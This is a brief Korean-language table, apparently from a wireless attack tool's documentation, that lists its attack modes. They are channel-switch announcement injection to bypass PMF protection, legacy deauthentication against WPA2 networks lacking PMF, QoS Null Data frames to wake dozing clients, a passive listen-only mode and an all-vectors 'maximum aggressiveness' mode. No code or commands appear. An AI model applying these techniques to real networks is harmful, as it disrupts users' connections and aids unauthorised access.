ATTACK_CSA채널 전환 알림 주입PMF 보호 우회
ATTACK_DEAUTH레거시 비인증 (Reason 7)PMF가 없는 WPA2 전용
ATTACK_STIMULATE절전 클라이언트용 QoS Null Data비침습적 클라이언트 깨우기
ATTACK_PASSIVE수신 전용 모드전송 없음
ATTACK_ALL모든 활성 공격 벡터 활성화최대 공격성